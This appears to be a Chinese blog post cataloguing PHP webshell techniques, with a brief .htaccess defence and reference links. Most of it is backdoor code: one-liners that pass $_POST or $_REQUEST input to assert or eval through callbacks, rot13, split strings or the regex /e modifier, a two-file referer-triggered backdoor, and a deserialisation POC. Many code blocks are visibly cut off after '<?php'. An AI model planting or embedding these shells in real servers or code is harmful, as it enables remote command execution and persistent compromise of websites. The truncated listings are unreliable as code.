PHP可通过回调函数、可变函数、拆分重组、base64编码、rot13加密、chr编码、注释、运算(异或、取反、自增等)、正则函数、session机制、referer、php反射、php反序列化、404马、php内存马等形式生成webshell。
防护:在要防护的目录下上传如下.htaccess,禁止该目录运行php文件1
2
3
4<Files ~ ".php">
Order allow,deny
Deny from all
</Files>
1) 回调函数
php中包含回调(callable类型)函数参数的函数,基本都可能用做后门。
call_user_func()
1 | <?php |
register_shutdown_function()
1 | <?php |
register_tick_function()
1 | <?php |
filter_var()&filter_var_array()
1 | <?php |
array_filter()
1 | <?php |
array_map()
1 | <?php @array_map(assert,(array)base64_decode($_REQUEST['e'])); |
2) 拆分重组
拆分重组示例1
1 | <?php $req = "a"."s"."s"."e"."r"."t";$req($_POST["www"]); |
拆分重组合示例2
1 | <?php $xy = "eval"; $xy .= "(";$xy .= "$";$xy .= "_PO";$xy .= "ST['www']);";@eval($xy); |
3) base64编码+可变函数
1 | <?php |
4) rot13加密+可变函数
示例1
1 | <?php $a=str_rot13('nffreg');$a($_POST['www']); |
示例2-ye版
1 | …… |
5) chr编码
1 | <?php |
6) 注释符
1 | <?php |
7) 运算符
异或运算
1 | <?php |
取反运算
1 | <?php |
自增运算
1 | <?php |
8) 正则函数
mb_ereg_replace()
1 | <?php mb_ereg_replace('.*', $_REQUEST['www'], '', 'e'); ?> |
preg_filter()
1 | <?php echo preg_filter('|.*|e', $_REQUEST['www'], ''); ?> |
9) 利用session
利用session机制 需要读取服务器session文件权限
POST: www=cGhwaW5mbygpOw== cGhwaW5mbygpOw==解码为phpinfo();
在C:\Windows\sess_k12th0l3kimv4i07fi0lm1bjr3 文件中写入cmd|s:16:”cGhwaW5mbygpOw==”;
C:\Windows\sess_之后的值与cookie 中的 PHPSESSID值一样
php的session文件的保存路径在php.ini中设置 或者可以在phpinfo()的session.save_path查看
session文件的命名规则是 sess_[PHPSESSID]
1 | <?php |
10) 利用referer
refer1.php+refer2.php两个文件组成构成后门,访问后门是访问refer2.php
refer1.php1
2
3
4
5
6
7<?php
//refer1.php refer1.php+refer2.php两个文件组成构成后门,访问后门是访问refer2.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
refer2.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<?php
//refer2.php 直接访问refer2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/phpcode2019/phpwebshell/r1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
11) PHP反射
1 | <?php |
12) PHP反序列化
1 | <?php |
生成序列化POC:1
2
3
4
5
6
7
8
9<?php
class shell{
public $code="phpinfo();";
}
$reload = new shell;
$res = serialize($reload);
echo $res;
//输出 O:5:"shell":1:{s:4:"code";s:10:"phpinfo();";}
//生成序列化POC
13) 404马
1 | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> |
14) 内存马
1 | <?php |
参考
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://joychou.org/web/webshell.html#directory025622261147745225
https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/
https://www.freebuf.com/articles/web/9396.html